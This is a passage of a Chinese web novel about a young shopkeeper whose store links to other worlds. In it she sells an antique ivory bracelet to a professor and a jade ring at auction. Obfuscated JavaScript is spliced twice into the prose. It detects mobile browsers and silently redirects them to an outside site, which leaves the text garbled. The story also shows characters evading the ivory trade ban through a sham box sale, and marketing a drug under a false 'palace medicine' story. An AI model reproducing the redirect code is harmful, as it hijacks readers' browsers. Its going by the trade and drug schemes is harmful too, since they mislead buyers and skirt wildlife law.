第一次参加拍卖会的预展，萧妧妧很认真打扮，换上当下流行的新中式套装，为了搭配衣服，她戴上同色系的紫翡耳坠以及牙雕手串撑场子。 要不说是好东西，牙雕手串只是戴在手上，识货的人也能在人群中一眼看到它。 32. 第 32 章 看萧妧妧面露犹豫，男人拿出自己的竞牌和邀请函，语气更加恳切。 有牌子，证明他有五十万，出了问题至少赔得起。 萧妧妧思忖片刻，又看展厅安保守在进出口，于是放心摘下手串递过去。 男人见她摘手串，双手在衣服上擦了擦，小心翼翼接过。 甚至为了看得更仔细，在征求萧妧妧同意后，借来工作人员的专用灯。 “真美啊……小姐，你的手串是祖上传下来的吧？这质感不像是近几年的手艺，还有上面的雕工，栩栩如生，现在师父的手艺很难达到。” 他对牙雕很有见解，一边欣赏一边品评，喜爱之情溢于言表，还有一抹浓浓的怀念。 萧妧妧没遇见过这种情况，稍显无措，“是，确实是有些年头的老物件，传下来许多年了。” 男人目不转睛地欣赏着，说：“我家从前有类似的手串，可惜没能留住，现在想买个相似的不好找。” 萧妧妧不知道说什么好，礼貌微笑。 男人话音一转，问：“小姐，您这手串卖不卖？” 卖不卖？当然是想卖的，可手串能卖多少钱，她没一点数。 “小萧老师还没回去呢？呦，傅教授您也在啊，怎么样，这是看上……？咦，这手串好像不是我们的拍品啊。” 萧妧妧没想好怎么回复，许年华一身轻松地找过来。 他先是看见萧妧妧，而后才看到旁边背对着他的中年男人，咧开笑容迎上来。 傅教授呵呵笑，“确实不是你们的拍品，是借小丫头的首饰瞧几眼。” 许年华闻言心底诧异，能让傅教授感兴趣并主动提出瞧瞧的，那可不是普通的好东西。 “那我倒要看看，小萧老师藏了什么好东西。”许年华凑上来，歪头看傅教授手心。 “这是……是猛犸还是象牙啊？”许年华眼眸一眯，越看越是惊讶。 傅教授让开半边肩膀，手串捧近些，“象牙，牙雕，多漂亮啊。” 许年华又是一惊，“这可是好东西啊。” 说完，许年华望了望萧妧妧，审视探究的目光落在她脸上。 萧妧妧心里直打鼓，这要怎么解释啊，尤其许年华和方叔叔家来往密切，事后一打听，很容易看穿她的谎言。 萧妧妧仍旧微笑面对。 除了笑，她不知道要怎么把眼下场面应付过去。 “我记得傅教授您家就有牙雕手串，我跟着老师去您家的时候，还见过呢。” 许年华虽然纳闷萧妧妧怎么隔三差五拿出这么些好东西，但也只是纳闷一会，转头和傅教授继续攀谈。 “是啊，可惜家里小孩子不懂事，拿出去玩让人哄走了。” 许年华拍大腿，“哎呦，太可惜了，多好的东西。” 傅教授把玩了好一阵，恋恋不舍地挪开目光，“我也不绕弯子了，这手串……萧小姐可愿意割爱？” 许年华又转头去看萧妧妧，等她回答。 萧妧妧抿抿唇，含糊不清，意有所指的开口：“那个……买卖它，合适吗？” 她查过资料，牙雕饰品自己戴着玩没事，不出境问题不大，买卖嘛…… 傅老教授一愣，哈哈笑，笑声爽朗。 许年华急得不行，哎呦一声，“就是一猛犸牙，什么合适不合适，两位不如回头商量商量？咱们这人来人往，不是说话的地方。” 萧妧妧秒懂，立刻接话：“我这猛犸牙是姥姥传下来的，不算多好的东西，傅教授您要是感兴趣，下回去我店里坐坐。” 许年华：“对，小萧老师自己经营一家铺子，就在月牙巷。” 说着话，许年华使眼色，示意她接过傅教授的名片。 萧妧妧又道：“我自己也喜欢收集些艺术品，正好要开一间艺术品集合店，傅教授方便的话去我那里看看，月牙巷188号，离这里不远的。” 接下名片，互相加上联系方式，计划中的店铺还未开业，便已经招揽到第一位客人。 傅教授很高兴，乐呵呵去看剩下的拍品，走之前约了时间上门。 萧妧妧挠挠头，低头看一眼手串，神情恍惚。 就……这么轻而易举地找到客户了？ 许年华送了送傅老教授，没多久折返回来。 “傅老教授书香世家，祖祖辈辈教书育人，三个儿子也都从事考古鉴宝相关工作。” 萧妧妧听了一耳朵，想到了另一位傅教授。 “别看傅教授六十多了，现在还在A大教书呢，你要是真想卖，傅教授是个不错的选择，你们私下里悄悄的，别宣扬。” 许年华压低声音，说到后面甚至不清不楚。 萧妧妧听懂了他的意思，真心感谢，“谢谢你啊许叔，刚刚还看到你帮忙推销玉扳指呢，要是玉扳指真拍出去，我请您吃饭，醉月轩，管饱！” 许年华有一瞬心虚，笑眯眯说：“醉月轩？那我可得好好贿赂拍卖师了。玉扳指不算是我推销，我听说是黎老先生喜欢马乾大师的作品，黎总便多看了几眼，估摸是想买回去送家里人吧。” “黎老先生？” “哦，是黎总的爷爷，上一任黎董，现在的黎董是两位黎总的爸爸。” 萧妧妧点点头，搞清他们的关系了。 “对了，许叔，你知道南市有哪些靠谱的鉴定机构吗？大概是玉石珠宝类的。” 许年华忍不住又看了萧妧妧一眼，“小萧老师看来是有不少好东西呢，下半年咱们公司还有好几期拍卖，小萧老师可得想着我们点。” 萧妧妧笑得腼腆，祈祷许年华别问下去。 许年华果然没再探究，而是说道：“你要鉴定的话，含金量高的就那么几家，南市刚好有，C大珠宝质量监督检验中心，权威机构，圈内认可度很高。” 意外得到有用消息，萧妧妧很高兴，打算在开店之前多送点东西去捞个证书。 说到开店，萧妧妧想着都出来了，不如把事情一起办完。 办理竞牌后，萧妧妧离开雅园，打车去南市玉器市场。 别的不看，也看不懂，她专挑玛瑙玉髓买。 珠串、镯子、坠子，大 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原先打算在188号独居，卧室的家具十成新，萧妧妧舍不得扔，只能往家里搬。等家具搬空，换上相应的展示柜展示架即可。 卖得是好东西，柜子便不能太敷衍，萧妧妧又开始挑选实木柜台。 一应杂事还没料理清楚，后门吧嗒一声推开。 “妧妧？”苏娇娇进门没看到人，张望两圈，冲着后门喊了一声，“妧妧你在不在店里？” 听到声音时，萧妧妧刚送走搬家的小哥，快步走回小卖部。 “怎么了娇娇姐，你又被人堵住了？” 苏娇娇摇头，“我顺利到了目的地，刚找到地方住下，过来看看你。” 萧妧妧啊了一声，不懂自己有什么好看的，苏娇娇这时推来两个扁扁的礼盒。 “我暂时没遇见合适的字画，不过倒是得了两套古墨，你这里书画受欢迎，想来笔墨纸砚应该同样如此。” 看自己是假，还人情是真。 萧妧妧没想到，自己随口说的话竟让苏娇娇记在心里，且付之行动。 “不不不，我是随口一说，不是跟你要字画的意思，你别放在心上。”她急忙解释。 好一点的字画放在她这年代很值钱，在苏娇娇那个时代同样是值钱东西，不易得，萧妧妧可不好意思让苏娇娇放下正经事为她这点杂事耗费心神。 苏娇娇嘴角噙笑，“你急什么，这是我自愿赠予，你帮了我大忙，我肯定要表示一下。字画的事不难，我已经让管家和掌柜盯着些了，左右不过是费些时日。喏，这两套墨你先收着。” 苏娇娇一股脑把东西塞进她怀里。 萧妧妧……当然是却之不恭，脸都快笑烂了。 她查过，成套且保存完好的古墨还挺值钱，不比几十两黄金的价值差。 可算上墨和那些手串，还是撑不起一间艺术品集合店。 萧妧妧想了想，得和苏娇娇商量下，“走私”点好东西过来撑场子。 “娇娇姐，有件事我想请你帮忙。” 33. 第 33 章 “你要开新店？好啊，我肯定帮你留意。” 听到萧妧妧的计划，苏娇娇一口答应会帮她物色些好东西送来，这对她来说并不难。 世道混乱，云城有点门路的家族都在想办法变卖带不走的资产，换取金银去国外发展。 苏娇娇认识的几位世交家里正在出手家中藏品，她原先是想帮忙收下的，奈何她能动用的钱财有限。 恰好萧妧妧需要，苏娇娇既能帮萧妧妧解决问题，又能为世交解燃眉之急，再好不过了。 萧妧妧见她爽快，于是咬牙递出攒下的10000克金子供她采购，手里留2900克应急。 她得加快速度赚钱了，这么点金子差点不够周转。 苏娇娇没推辞，转而打听哪些老物件受欢迎，哪些东西不那么值钱，她也好重点关注，免得浪费钱。 萧妧妧没白跟着博主学习，转头罗列出一堆杂七杂八的品类。 苏娇娇越听眉头皱得越紧。 什么石雕根雕，紫砂壶瓷瓶子倒算了，怎么军阀纪念币、邮票、碑帖、捧盒也算在里面？ 苏娇娇语重心长，“妧妧，你若是钱不够，我可以先垫付，咱们要开店就得弄点好东西，这些……” 这些，苏娇娇没一个看得上。 不仅看不上，连当搭头都拿不出手。 萧妧妧不知道怎么解释，她自己都搞不懂收藏圈子为什么会喜欢它们。 “你给的金子不少，你若是信我，我来给你安排，你说的那些……”苏娇娇露出一言难尽的神情，“我送你。” 苏娇娇怕她不懂行，越发坚定要帮她好好把关。 再者，她自家库房里有不少东西，与其放在她手上落灰最后不知道落在什么人手里，不如送到萧妧妧手上，算是给它们安排一个好去处，换来的金子、物资刚好拿去支援组织。 思路走通，苏娇娇浑身轻松。 萧妧妧巴不得有人为她出谋划策呢，苏娇娇望族出身，家底丰厚，眼界比一般人高，她能看上的好东西，肯定差不了。 “谢谢娇娇姐，”萧妧妧喜滋滋地递去一根烤肠，“你就是我的神！” 苏娇娇看她俏皮模样哭笑不得，明明她和小卖部才是她的神，为她解决了一桩又一桩难题。 苏娇娇惊叹着填饱肚子，依依不舍地回到自己的世界。 萧妧妧送走客人，撸起袖子为新店做准备。 不止新店，小卖部同样要做出调整。 临近后门的那两排货柜统统腾空，依次挂上她挑来的玛瑙玉髓，旁边的架子则排排放她精心挑选回来的琉璃摆件、餐具、酒具等。 还有她特意从博物馆文创店买回来的宫廷风手持镜，精致又贵气，正适合申明月拿回去倒卖。 这两个货架是针对异世界客人的，因此货品稍显杂乱，什么品类都有，和小卖部格格不入，在整个便利店行业也过于与众不同。 才收拾完小卖部的货架，后院大门咚咚响，她下单的止血药和压缩饼干送上门了。 没忙出个结果，天色已经黑透，萧妧妧看着乱糟糟的院子，伸了个懒腰。 回家，睡觉。 ………… 拍卖会举槌的日子是个工作日，萧妧妧出门的时候路上还在堵着，她熟门熟路的进了雅园，按照指示牌示意找到拍卖厅。 找到对应位置坐下，没多久，萧妧妧注意到大厅侧门打开，五六十个穿着严肃正经的工作人员抱着文件夹陆续进场，而后走到萧妧妧身后的阶梯式座位落座。 萧妧妧还注意到，每人手边都有一个座机。 萧妧妧不怕丢脸，拍拍身边的陌生女人，问：“小姐姐，后面也是来参加拍卖会的吗？” 小姐姐回头看一眼，好脾气的回答：“哦，他们是电话委托，帮别人拍东西的。” 萧妧妧咋舌，原来真正的大人物都喜欢藏在暗处。 正当萧妧妧东张西望观察拍卖厅里的人事物，拍卖师上台。 “上午好，欢迎大家莅临佳博拍卖行107期拍卖玉石专场……” 拍卖正式开始，萧妧妧并腿端坐。 简单介绍一下本期的主题和藏品，灯光一闪，第一件拍品的图像信息出现在屏幕上。 好巧不巧，是萧妧妧多看两眼的碧玺手串。 更巧合的是，那对在碧玺手串前面争执的夫妻俩第一个参与了竞拍。 萧妧妧看热闹似的，眼睁睁看着一件又一件拍品被人拍走或是流拍，前排的新老藏家大多举过一次两次牌子参与其中，后面电话委托是一次都没出声。 看得久了，萧妧妧发现电视剧根本是骗人的，拍卖师温温柔柔语速却极快，时不时挑动藏家加价，除此之外并不刺激。 “接下来是马乾大师雕刻设计的天然满绿翡翠侍女……” 萧妧妧玩腻了手机，撑着下巴昏昏欲睡时，耳尖微动，捕捉到关键词。 没等她反应过来，已经有藏家按捺不住举牌，身后两排电话委托霎时间忙碌起来。 “……66号起拍价是443万，按照咱们现在的预算是没问题的，先生您看……” “对，马乾大师的作品，场上竞争激烈，凭我的经验，咱们的预算还要再加一点……对，您看要不要跟？” 好家伙，原来都在等好东西，66号拍品像鱼饵，丢进水塘惊起无数鱼儿争抢。 萧妧妧打了个哈欠，揉揉眼睛去看前面，嚯，她算是见识了什么是此起彼伏。 竞争确实激烈，拍卖师报号牌的速度赶不上大家出价的速度。 起拍价443万瞬间飙到了582万，并且还在上涨，这一刻，萧妧妧感受到了世界的参差。 老天奶啊，这世界上不会只有她是穷人吧，大几百万就跟不要钱一样。 场上藏家你争我夺，萧妧妧看得起劲，想知道这件翡翠侍女最终能拍出什么价格，又落在谁手里。 正当她兴致勃勃的时候，场面忽然一寂，像按了暂停键，随后窃窃私语在展拍厅炸开。 “点天灯了，有人点天灯。” “没看清，不知道谁干的。” “第一排的，估计是哪个有钱人吧。” 萧妧妧听得一头雾水，跟着大家向第一排张望，然而什么都看不到。 “黎总出手了，是的，您看……好的。” “对，已经确认了，黎总在拍卖现场，他看中了66号，咱们还跟吗？……好的，我明白。” “目前价格是602万，黎总出价，对，是大黎总……” 后排的电话委托刚刚还在争相抬价，忙得嘴皮子起火，现在个个安静如鸡。 “……66号天然满绿翡翠侍女由黎总拍下，恭喜黎总。” 随着拍卖师咚一下敲槌，场上响起稀疏掌声。 “小黎总在佳博挂了个总监的职，听说今天是他第一次参与组织拍卖，我看是黎总在给弟弟撑场面吧？” “真有可能，听说这期请了不少老藏家呢，你看后面电话委托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491458|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，平时小场面可没这么多人。” “说不准人家是真喜欢呢，都点天灯了。” 萧妧妧越听越不懂，看到许年华挂着工作证在大厅后面旁观，起身绕过去。 “许叔，他们说的点天灯是什么意思啊？” 许年华躲在角落里计算着什么，萧妧妧冷不防找过来，他一边注意场上一边和萧妧妧搭话。 “点天灯啊，就是场上不管谁叫到什么价，点天灯的人都要以最高出价拍下。” 萧妧妧倒吸一口凉气，“有钱人真会玩……那万一有人不怀好意，故意抬价呢？” 许年华笑呵呵，“你看刚才有人抬价吗？” 萧妧妧老实摇头。 许年华：“黎总开口，其他人多少给点面子，一般来讲，只要不是上赶着得罪人的，没人会在这时候抬杠。” 萧妧妧好奇，“那就是有人犯贱要抬价怎么办？难道也要按最高出价买下？” 许年华嘿了一声：“这问题有意思，首先，犯贱的人出再高的价，上千万上亿，黎总都有实力买下； 其次，没人会想得罪黎家； 最后，叫价可不是让人随便喊两嗓子就行的，拍卖行会验资，要交保证金的，不然那不是捣乱吗。” 萧妧妧听得一愣一愣的，不愧是小说世界，这群霸总可真有钱。 “第69号拍品，疑似马乾大师早期作品，和田玉青白玉扳指……” “小萧老师，到你的拍品了。”许年华见她走神，提醒一声。 萧妧妧抬头确认一眼，随即紧张地巡视整个大厅。 她从来没觉得拍卖师的介绍如此漫长，好不容易报到起拍价时，萧妧妧不由屏息。 许年华注意到萧妧妧紧张又期待的样子，暗笑她年纪轻，摇摇头。 “……现在是八万，24号藏家要不要再加？国级青白玉，雕工非常好。” “八万三，43号藏家出价八万三……61号藏家看起来很喜欢这件玉扳指……” “好的，61号藏家出价九万，还有人要跟吗？马乾大师的作品非常难得……” 萧妧妧的心怦怦跳，恨不得坐在藏家身边提溜他们站起来竞价。 好在马乾两个字有着无限魅力，短短几分钟，已经有七八个人出价，价格也抬到了萧妧妧从未想过的高度。 “十三万两次……电话还要跟吗？目前是十三万。” “……好的，黎总出价十四万，还有要出价的吗？” ………… “看到没有，黎总出价了，哎呦，十四万，翻倍了这是。” 许年华比萧妧妧还要高兴，黎行聿唯二出手的两件拍品都是他征集回来的，看以后谁再说他不会选品。 萧妧妧这才发现，第一排中间位置坐着的是黎行聿，两边是随行的拍卖行高管。 “好的，23号藏家出价十四万五千……1号黎总再次出价，十五万！柳太太要跟吗？” “十五万一次……33号孟先生要不要跟一跟？十五万第二次喽……没有人要出价了吗？” “那么……十五万第三次！69号拍品属于黎总，恭喜黎总。” 拍卖师敲槌，尘埃落定，下一件拍品迅速上场。 听到最终价格，萧妧妧既惊喜又失落，吐出一口浊气，擦掉手心里的汗渍。 起拍价七万，落槌价十五万，方爷爷说得没错，拍卖行是个好去处。 “许叔，醉月轩，随便点！”萧妧妧大气挥手。 34. 第 34 章 玉扳指成功卖出，下半场拍卖会没必要再参加，萧妧妧和许年华知会一声，办理好退保证金手续，径直回小卖部。 隔壁的刘叔见怪不怪，问一句：“妧妧这么晚才来啊。” 萧妧妧笑着应付，“家里有点事。” 临近中午，不倒闭小卖部开门营业。 挂上自助付款的提示牌，萧妧妧继续为她的新店忙活。 后院门口堆满了快递，蛇皮袋装得鼓囊囊，件件半人高，所幸188号是这条死胡同里唯一的院子，门口即使堆满了也不会引起邻居不满。 “小姑娘，请问这里是188号吗？” 萧妧妧忙着搬快递，累得一头汗时，忽然听到有人过来搭话。 188号在月牙巷主街右侧的小胡同，拐进来走上三四米就是院子的正大门，这里院墙古朴，爬满了黄木香，除了快递小哥就数进来拍照的游客最多。 冷不丁听到有人找188号，萧妧妧满心纳闷，等侧过身看门口的两人，一下子想起来。 “是你啊傅教授，您这会过来是……” 不怪萧妧妧一头雾水，他们约好的时间在下周，傅教授来得太早了，她的店铺都没布置好呢。 傅教授愣了愣，上下打量一番才确认，面前穿着色彩鲜艳的卡通T恤，扎着蓬松丸子头，脚踩胖乎乎洞洞鞋的小姑娘，是昨天遇见的牙雕手串主人。 两模两样的打扮让傅教授愣了好一会，随即扬起温和笑容迈进院子。 “是我唐突了，昨天回去后一直睡不着，心心念念牙雕手串，这不，我小儿子有空，陪着我一起过来看看。” 萧妧妧闻言把目光落在旁边的年轻人身上，三十岁左右，金丝框眼镜架在高挺鼻梁上，普通白衬衫一丝不苟的扣到最上面。 南市什么时候成帅哥窝了？ 小傅伸出手，“你好，萧老板。” “叫我小萧就行，”萧妧妧尴尬地擦擦手，回握，而后请他们进院子，端来两杯茶招待客人，“最近在装修，屋子里有点乱，不介意坐院子里吧？” 傅教授笑呵呵，“院子好，你这木绣球长得茂盛，一点太阳晒不到。” 萧妧妧知道他们的目的，也不说废话，取来手串交给他们。 傅教授哎呦哎呦几声，忙上手去接，生怕她把宝贝砸在石桌上。 萧妧妧不由脸红，东西来得太容易，她到现在都没能培养出要妥帖对待它们的意识。 傅教授爱惜地摸两下，递给小儿子看。 “你也是学这行的，你自己看看真不真。”傅教授没好气的对儿子说。 萧妧妧来回观察一会，很快弄清楚，大约是傅教授要花钱买牙雕，家里人怕老人家上当受骗，这才商量着一起上门看看。 东西真的不能再真，萧妧妧一点不虚，大大方方拿出专用手电和放大镜，由着他们欣赏。 小傅接过手串，略看了两眼，神情稍显诧异。 “傅问，你这是什么表情，东西好坏我还看不出吗？”傅教授摇摇头，嘬一口茶，“你看看，是不是和你奶奶留下的那串差不多，我没说假话吧？” 傅问轻笑一声，抬头审视萧妧妧，“手串是萧老板家里传下来的？” 萧妧妧不自觉捏紧拳头，点头承认。 傅问没说什么，手串递回给傅教授。 萧妧妧没忽略他若有所思的表情，心里惴惴，该不会是他看出什么了吧？ 傅教授稀罕地摩挲手串，“萧小姐，手串我是真喜欢，不瞒你说，我老母亲有一条和它很相似的牙雕手串，可惜弄丢了，你若是愿意卖，只管报价格。” 这话一出口，萧妧妧倒是不会了，她还没来得及打听价格，根本报不出来。 “傅教授您稍等，我和家里人商量商量。”萧妧妧犹豫片刻，找了个不算蹩脚的借口逃离。 “应该的，是我们来得不是时候，扰乱了萧小姐的安排，”傅教授闻言好脾气的笑了笑，并不介意她的决定，“你放心，我们在这里等你答复。” 萧妧妧松了一口气，脚步匆匆的拐出胡同，寻了个阴凉地蹲下，找外援询价。 她认识的靠谱外援只有一个人，方爷爷。 萧妧妧先给方爷爷发去牙雕手串的图片，打去电话询问。 “方爷爷救命啊，有件急事，我看中了一款有年份的牙雕手串，您觉得多少钱买下合适……” 萧妧妧抱着手机急得团团转，院子里，傅教授患得患失，背着手来回踱步，焦急等待。 “唉，也不知道人家愿不愿意卖。” “这件比咱们以前遇到的几串都要好，你看到了吧？没人骗我，我什么时候看走眼过？ “你说我带的钱是不是少了点？” 傅问冷冷淡淡回应：“放心吧，她会卖给你的，至于钱够不够，我不知道。” 傅教授趁这会没外人，翻了个白眼，“我就该带老大来……萧小姐考虑好了？怎么说？” 父子俩正说着话，萧妧妧回来了，傅教授连忙整理表情，上前两步追问。 萧妧妧神情淡定，老神在在，“傅教授您坐，您知道的，牙雕没有买卖的说法，咱们得遵纪守法。” 满腔期待落空，傅教授显而易见的失落，眼眸失去亮光。 萧妧妧笑了笑，递去红木捧匣，调转话锋，“您看这样行不行，您若是愿意花六十九万买下这件红木匣子，手串就当是搭头，白送您了。” 交易的是红木匣，关牙雕什么事？没说买椟不能送珠的。 萧妧妧一句话分两段说，傅教授跟着大喘气，等他看到红木匣里躺着牙雕手串，嘴巴咧到后脑勺。 “六十九万真不贵，萧小姐当真愿意卖？” 预估要七八十万拿下的手串，报价六十九万已经低于他预期了，傅教授颇感意外，意外小丫头做生意干脆利落，不打太极，直接报价。 他捧来红木匣放一边，没多看一眼，只迫不及待的将手串套在自己手腕比划，越看越喜欢。 萧妧妧眨巴眼睛，神色无比诚恳：“当然，您是有元人。” 傅教授抬起手腕，好好欣赏了一会，急忙从衬衫口袋掏银行卡。 傅问按住他的手，“萧老板这里恐怕不方便刷卡，我来转账吧。” 六十九万片刻工夫到账，萧妧妧看到私人账户的余额，还有一丝不真实的恍惚感。 交易完毕，傅教授心满意足，有闲心关注这间小院。 “小萧，你这里是要开艺术品集合店吗？什么时候开业，我也来凑凑热闹。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491459|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧妧妧笑容越发灿烂，她等得就是这句话。 方爷爷给出的参考价是七十往上，不超过七十六这个范围可以随便报，她沉吟片刻，最终决定打折。 算上红木匣子总共不超过七十万，懂行的人一听价格便知道自己占了便宜。 许年华提醒过她，像傅教授这样的老藏家有自己的小圈子，笼络住一个，等于笼络住半个小圈子，萧妧妧宁肯少赚几万，为的自然是吸引顾客下次上门。 一带二，二带三，以后她的艺术品集合店全靠这些收藏家支撑了。 萧妧妧脆生生道：“下周一正式营业，店铺小，只招待熟客，傅教授哪天想来看看提前说，我多摆点好东西。” 以为要砸在手里的东西意外高价卖出，萧妧妧心里喜滋滋，送走傅教授父子俩，她没能忍住，抱着手机傻笑。 谁敢想啊，她的现金存款竟然将近两百万了。 “萧老板萧老板，我打听到了。” 申明月风风火火闯进小卖部后院，眉梢飞扬，语气雀跃。 “怎么说？定好要选哪些货了？”萧妧妧收起手机。 申明月接过萧妧妧递来的茶水，一口闷，抹了抹嘴唇，说：“琉璃，我打听清楚了，天哪，它竟然比金银还贵。” 比金银贵……萧妧妧扼腕不已，早知道趁前些天旗舰店做活动多囤些货了。 “大宇朝的琉璃多是外邦进贡，数量稀少，寻常人家很难得到，所以价格居高不下。 我听胡商说，升州豪绅众多，琉璃可卖出高价，若是去了偏远小国，国力不足，多半卖不出手。” 申明月很用心套话，连最佳贩卖地点都打听到了。 也是她们运气好，无需跋山涉水走商，升州便有不少豪富愿意高价买琉璃。 萧妧妧闻言，转身拿来两串琉璃手串，玉髓玛瑙手镯各一对。 “物以稀为贵，你拿太多东西过去反而不好出手，”萧妧妧凑到她耳边，给她出主意，“这事你可以试试这么做……” 申明月听了片刻，眼眸晶亮，“我听萧老板的，谁挤兑我，我就让谁破财。” 高兴了一会，申明月笑容微敛，话音扭捏，“萧老板，那个西多芬我该怎么出手啊？” 萧妧妧噗呲一声，暗示她，“这东西不能由你出面。” 申明月还是个小姑娘，放在古代严苛环境下于她名声有损。 申明月想了想，一拍巴掌，脱口而出，“我懂了，就说是大宇朝最最神奇的宫廷秘药，所以老皇帝子嗣繁盛。这事需让母亲出面，从内宅下手更容易些。” 母亲假死逃出宫后，一直以富商遗孀的身份在升州活动，人人都当她们是上门打秋风的破落户，好在母亲这段时日为了打听消息混在内宅，倒是积累了不少好人缘。 商人遗孀，做点小生意多合理啊。 借口是大宇朝宫廷秘药，几位知晓内情的舅母必定轻易相信，再由申氏后宅扩散至其他世家，难度应当比她们派人上门兜售的效果好。 萧妧妧听她叽里咕噜讲了一通，想笑不敢笑，怀疑申明月趁机抹黑渣爹。 申明月没注意到萧妧妧扭曲的表情，脑瓜子飞速转动。 想明白后，她嘿的一声笑，满意地掏出荷包递给萧妧妧。 35. 第 35 章 “萧老板，这是部分货款，劳烦你算算还差多少。” 萧妧妧接过荷包抽开系绳一看，散碎金子大约七八十粒，掂量感受几下，约莫有两百多两，也就是6000多克。 到手的金子萧妧妧真狠不下心拒绝，尤其她刚送出去一万克金子，正缺金子使。 “好，这两百两我先收下，”萧妧妧看她一脸痛心的样子，宽慰她，“放心，这里随便几样东西卖出去，很快能回本。” 申明月重重点头，她当然是相信萧妧妧的，否则也不敢拿出这么多钱投注。 萧妧妧这几日忙个不停，闲暇时刻几乎抱着手机下单，所以货品齐全，现在只需要挑拣出符合要求的东西，拆掉包装打包起来即可。 申明月帮不上忙，留在小卖部里乐滋滋地吃西瓜吹空调，等待时，她注意到一旁孤独播放的平板。 “萧老板，它说得是真的吗？” 萧妧妧茫然抬头，“谁？谁说话了？” 申明月一手捧瓜啃得咔嚓咔嚓响，一手指了指柜台上的平板。 萧妧妧丢下手里东西走进来，平板还停留在某短视频软件，循环播放“悬赏令”。 【行走的十万元！文字博物馆悬赏发布，破译甲骨文，一字可获十万奖励。】 萧妧妧看了看视频，又看了看申明月眨巴的丹凤眼，虽然不明所以，但还是如实回答，“据我所知是真的。” 申明月没心思啃西瓜了，唰一下瞪大眼睛，“萧老板，你们这里的十万大概是多少钱？” 萧妧妧歪头心算片刻，不确定的说：“大概，等同于你们那里的五、六两金子？” 申明月噌一下站起，双眼放光，“萧老板，我认识上面的字。” 萧妧妧暗道一声果然如此，申明月不是无的放矢的人，既然问了必然有情况。 转念一想，申明月一个古代人认识几个甲骨文，逻辑完全走得通。 再转念一想，毕竟是两个位面，度量都不一样，难道文字就能相通？ 萧妧妧看她双拳紧握，不好泼冷水，“你等等，我去官网查查。” 短视频发布日期距今过去半个月，不能确定悬赏令有没有效用。 申明月蹲在她旁边，有一搭没一搭地啃瓜，看萧妧妧手指飞舞，在一块会动会说话的板子上来回戳弄。 没等她仔细看上面会动的彩色图案，萧妧妧停在某一画面仔细阅读。 “明天刚好是截止日期，”萧妧妧调出悬赏文件，飞快获取重要信息，“简单的早让人破了，剩下这些是专家学者们解决不了的，你确定都认识吗？” 她调出文件附带的甲骨文图形，一共是68个，一张一张缓慢切换。 申明月看得目不转睛，格外认真，一个字五、六两金，和白送没区别。 68张图片很快划过去，申明月掰着指头算了算，胸有成竹的说：“有13个字我认识，我在族中藏书阁里看到过，有两个字我拿不准。” “如果全对，那就是13个字，等于是一百三十万，错的话，那就什么都没有。” 萧妧妧还是不太信，一是因为两个位面的鸿沟，引申出来的疑问太多，一时半会和她解释不清楚，二是因为破译甲骨文投稿需要写论文辩证，有字数要求还要列出参考书籍，难度不是一般的大。 她看了看申明月，很确定她不会写论文。 种种因素叠加，萧妧妧理所当然的认为，破解甲骨文获得悬赏金的希望不大。 申明月看出萧妧妧的质疑，昂首挺胸，信心满满，“萧老板放心，我有把握。” 萧妧妧看她一本正经，不像是胡说，心底越发惊疑，她还真认识啊？ 沉思片刻，萧妧妧决定让她试试，万一成了那可是一百三十万，不成就算了，反正不过是几个字的工夫。 她跑回小卖部拿出纸笔递上去，为了方便书写，特意找来毛笔和宣纸。 申明月新奇不已，“好柔韧的纸。” 赞叹声让萧妧妧微微一怔，随即回过神。 对哦，她怎么没想过把造纸技术卖出去呢？ 再举一反三，不止是造纸，印刷、织布都是可以交易的技术。 申明月这里卖一次，龙傲天那里再卖一次，一个配方赚两次钱，谁能有她精明啊！ “试试看，如果觉得不错，造纸技术我也可以卖给你。可别小看这技术，从原材料挑选到整个生产步骤，全部罗列清楚，物超所值，买不了吃亏买不了上当。” 申明月惊讶的大张嘴巴，不敢相信耳朵听到的一切，“造纸技术？卖给我？” 萧妧妧笑眯眯点头，语速飞快，“我知道你现在没钱，等纸造出来了卖出去了，你再把钱还给我不迟，或者我技术入股，你回去召集人手生产纸张，盈利分我四成。” 面对诱人提议，申明月却显得犹豫不决，“可是纸很贵，除了读书人以外，未必有那么多人购买，生产得再多卖不出去岂不是砸在手里。” “傻孩子，新技术降低了成本，提高了产能，优化了产品，生产量增多，越来越多的人有机会读书，会造成什么样的影响你不会不懂。” 萧妧妧说得如此直白，申明月瞬间被她点醒，她望着手中洁白宣纸，愣愣出神。 萧妧妧似乎嫌她三观还不够颠覆，抽来一张纸巾塞过去，“我忘了说，造纸技术也包含卫生纸。” 申明月脑海中有风暴席卷而过，好半天才反应过来，仰头问：“卫生纸是做什么用的？” “当厕筹，当手帕，当抹布，总之用途很多，最常用的就是……”萧妧妧又抽出一张纸巾，擦掉申明月嘴角的西瓜汁，“什么感觉？” 申明月先是脸红，继而发觉卫生纸的妙处，不自觉地吞了吞口水。 “好、好柔软啊……如果当厕筹用的话……” 不管穷人富人，只要不是长了铁腚，都无法拒绝卫生纸。 卫生纸这门生意，有得赚！ “这事急不来，且关系重大，别冲动，回去好好想想再给我答复，”萧妧妧按住她肩膀，迫使她坐下，“先写字。” 申明月回神，脆生生应声。 萧老板说得对，卫生纸宣纸西多芬和琉璃，它们都是难得的宝贝，手上有这么多宝贝的她却没有发展出守护的力量，时日久了，宝贝就变成了催命符。 